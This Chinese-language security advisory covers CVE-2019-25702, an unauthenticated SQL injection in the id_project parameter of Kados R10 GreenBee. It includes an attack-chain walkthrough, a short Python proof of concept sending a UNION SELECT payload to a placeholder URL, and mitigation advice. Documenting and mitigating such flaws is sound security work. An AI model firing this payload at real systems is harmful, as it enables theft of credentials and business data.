CVE-2019-25702 CVSS 8.2 高危

CVE-2019-25702 Kados SQL注入漏洞

披露日期: 2026-04-05

来源: [email protected]

漏洞信息

漏洞编号

CVE-2019-25702

漏洞类型

SQL注入

CVSS评分

8.2 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Kados R10 GreenBee

漏洞概述

Kados R10 GreenBee项目管理系统中存在严重的SQL注入安全漏洞，该漏洞被分配编号CVE-2019-25702。漏洞的根本原因在于应用程序未能正确过滤用户通过id_project参数提交的输入数据，导致攻击者能够操纵后端数据库查询。由于无需身份认证且无需用户交互，远程攻击者可轻易利用此缺陷。成功利用该漏洞可能导致敏感数据库信息泄露，或者在特定情况下修改数据库中的数据，对系统的机密性和完整性造成严重影响。

技术细节

该漏洞属于典型的SQL注入漏洞，发生在Kados R10 GreenBee系统的Web接口处理逻辑中。系统在接收id_project参数时，直接将其拼接到SQL查询语句中执行，未进行任何转义或参数化查询处理。攻击向量为网络（AV:N），攻击复杂度低（AC:L），且不需要特权（PR:N）和用户交互（UI:N）。攻击者通过构造包含恶意SQL语法的HTTP GET或POST请求，利用单引号闭合查询语句，并插入UNION SELECT、OR 1=1等指令。这使得攻击者能够绕过正常的业务逻辑，直接读取数据库中的敏感信息（如用户凭证、配置信息），甚至可能利用存储过程写入数据。鉴于CVSS评分达到8.2，该漏洞对机密性的影响（C:H）极高，必须优先处理。

攻击链分析

STEP 1

1. 信息侦察

攻击者识别目标系统运行的是Kados R10 GreenBee，并确定存在接收id_project参数的接口。

STEP 2

2. 武器化

攻击者构造包含恶意SQL语句的Payload，例如利用UNION SELECT查询来提取数据库版本或敏感数据。

STEP 3

3. 投递

攻击者通过HTTP请求将包含恶意Payload的id_project参数发送给目标服务器。

STEP 4

4. 利用

服务器后端未过滤参数，直接执行了注入的SQL语句，数据库返回查询结果。

STEP 5

5. 数据窃取

攻击者分析HTTP响应，提取出泄露的数据库信息，如管理员密码哈希或业务数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (replace with actual vulnerable endpoint)
target_url = "http://example.com/vulnerable_page"

# Malicious payload to extract database version
# Payload attempts to inject via 'id_project' parameter
payload = "1' UNION SELECT 1, 2, 3, version(), 5-- -"

params = {
    "id_project": payload
}

try:
    response = requests.get(target_url, params=params, timeout=10)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response content (check for DB version):")
        print(response.text[:500]) # Print first 500 chars
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

Kados R10 GreenBee

防御指南

临时缓解措施

在未安装补丁前，建议在网络边界部署Web应用防火墙（WAF），配置规则拦截针对id_project参数的SQL注入攻击特征。同时，应暂时禁用非必要的数据库对外展示功能，并加强对异常数据库查询行为的日志审计。

参考链接

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